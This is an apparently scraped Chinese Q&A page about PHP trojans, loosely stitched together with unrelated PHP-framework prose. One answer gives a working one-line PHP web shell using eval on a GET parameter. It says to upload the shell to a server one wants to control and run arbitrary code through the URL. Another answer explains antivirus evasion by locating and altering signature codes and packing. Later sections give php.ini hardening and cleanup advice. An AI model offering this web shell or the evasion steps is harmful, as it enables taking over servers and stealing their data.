我想问问php木马怎么用
用myccl或手工自己定位木马的特点码然后修改，固然懂汇编修改起来很减淡无特点码，免杀就是木马的入口点变异，加壳改壳等，源码免杀定位特点码，然后在VC里面进行修改VC源码。
更多关于php木马怎么用，进入：查看更多内容
php木马上传打开直接下载php文件是什么原因
这个问题是由nginx引起的，没有进行php配置或者配置错误
php框架对很多新手而言可能会觉得很难攀越，其实不然，只要知道一个框架的流程，明白原理了，基本类似框架都可以看懂，php框架真正的发展要从php5开始了，其实php4时代就有一些框架，但是因为框架并没有给大家带来多方便而觉得很复杂，速度没有纯php好，所以一直到了php5才有大的发展，php5的面向对象模型的修改对框架的发展起了很大的作用。
框架就是通过提供一个开发Web程序的基本架构，PHP开发框架把PHPWeb程序开发摆到了流水线上。换句话说，PHP开发框架有助于促进快速软件开发（RAD），这节约了你的时间，有助于创建更为稳定的程序，并减少开发者的重复编写代码的劳动。这些框架还通过确保正确的数据库操作以及只在表现层编程的方式帮助初学者创建稳定的程序。PHP开发框架使得你可以花更多的时间去创造真正的Web程序，而不是编写重复性的代码。
php网站被挂木马如何修复
php开发的网站被挂了木马的话,首先检查对比本地的备份文件以及修改的时间,看看修改时间是否有最近被篡改过的时间痕迹，然后对比日志查找可疑文件,如果对程序代码不熟悉的话，解决办法：像这种攻击用户自己是很难解决的，最好选择专业的网站安全公司来处理，国内也就Sinesafe和绿盟、启明星辰等安全公司比较专业.
求一个简单的PHP木马程序
?
if($_GET[r]) eval($_GET[r]);
?
将上面的代码放到一个php文件并设法上传到你想控制的服务器,
在网页上访问服务器上的该文件,只要在网址后面加上
?r=你想要的任何操作(php语言编写).
只要你懂一点php,sql,这台服务器的信息都在你的掌握.
怎么防御PHP木马攻击？
PHP本身再老版本有一些问题，另外，目前闹的轰轰烈烈的SQL Injection也是在PHP上有很多利用方式，所以要保证安全，PHP代码编写是一方面，PHP的配置更是非常关键。
(1) 打开php的安全模式
php的安全模式是个非常重要的内嵌的安全机制，能够控制一些php中的函数
同时把很多文件操作函数进行了权限控制，也不允许对某些关键文件的文件
但是默认的php.ini是没有打开安全模式的
(2) 用户组安全
当safe_mode打开时，safe_mode_gid被关闭，那么php脚本能够对文件进行访问，而且相同组的用户也能够对文件进行访问。
如果不进行设置，可能我们无法对我们服务器网站目录下的文件进行操作了，比如我们需要
对文件进行操作的时候。
(3) 安全模式下执行程序主目录
如果安全模式打开了，但是却是要执行某些程序的时候，可以指定要执行程序的主目录
一般情况下是不需要执行什么程序的，所以推荐不要执行系统程序目录，可以指向一个目录，
然后把需要执行的程序拷贝过去
但是，我更推荐不要执行任何程序，那么就可以指向我们网页目录
(4) 安全模式下包含文件
如果要在安全模式下包含某些公共文件，
其实一般php脚本中包含文件都是在程序自己已经写好了，这个可以根据具体需要设置。
(5) 控制php脚本能访问的目录
使用open_basedir选项能够控制PHP脚本只能访问指定的目录，这样能够避免PHP脚本访问
不应该访问的文件，一定程度上限制了phpshell的危害，我们一般可以设置为只能访问网站目录
(6) 关闭危险函数
如果打开了安全模式，那么函数禁止是可以不需要的，但是我们为了安全还是考虑进去。比如，
我们觉得不希望执行包括system等在那的能够执行命令的php函数，或者能够查看php信息的
如果你要禁止任何文件和目录的操作，那么可以关闭很多文件操作
以上只是列了部分不叫常用的文件处理函数，你也可以把上面执行命令函数和这个函数结合，
就能够抵制大部分的phpshell了。
(7) 关闭PHP版本信息在http头中的泄漏
我们为了防止黑客获取服务器中php版本的信息，可以关闭该信息斜路在http头中
(8) 关闭注册全局变量
在PHP中提交的变量，包括使用POST或者GET提交的变量，都将自动注册为全局变量，能够直接访问，
这是对服务器非常不安全的，所以我们不能让它注册为全局变量，就把注册全局变量选项关闭
当然，如果这样设置了，那么获取对应变量的时候就要采用合理方式
(9) SQL注入是非常危险的问题，小则网站后台被入侵，重则整个服务器沦陷，
所以一定要小心。
这个默认是关闭的，如果它打开后将自动把用户提交对sql的查询进行转换，
(10) 错误信息控制
一般php在没有连接到数据库或者其他情况下会有提示错误，一般错误信息中会包含php脚本当
前的路径信息或者查询的SQL语句等信息，这类信息提供给黑客后，是不安全的
PHP木马后门是什么？？？
后门木马简单点说就是隐蔽性很高的木马。比如灰鸽子。后门木马就是一种由原作者在编写的木马设置了一个后门程序，比如按6下shift就弹出权限设置，这种快捷键一般只有原作者才知道的，然后原作者把这种木马卖出，比如你买了他的木马并且使用，你不知道快捷键密码，所以最高权限不在你这，而在他那儿~这样你利用木马盗号的过程中原作者就会知道，也就是说原作者可能利用你盗号，你所盗的号你知道，原作者也会知道。
如果你的电脑中了后门木马病毒,你可以这样,先下载360系统急救箱保存到D盘,重启按F8进入带网络连接的安全模式,使用360系统急救箱进行查杀 这样就查杀的比较彻底了,然后启动360杀毒 360安全卫士的木马云查杀功能查杀清除残留就可以了.
0条大神的评论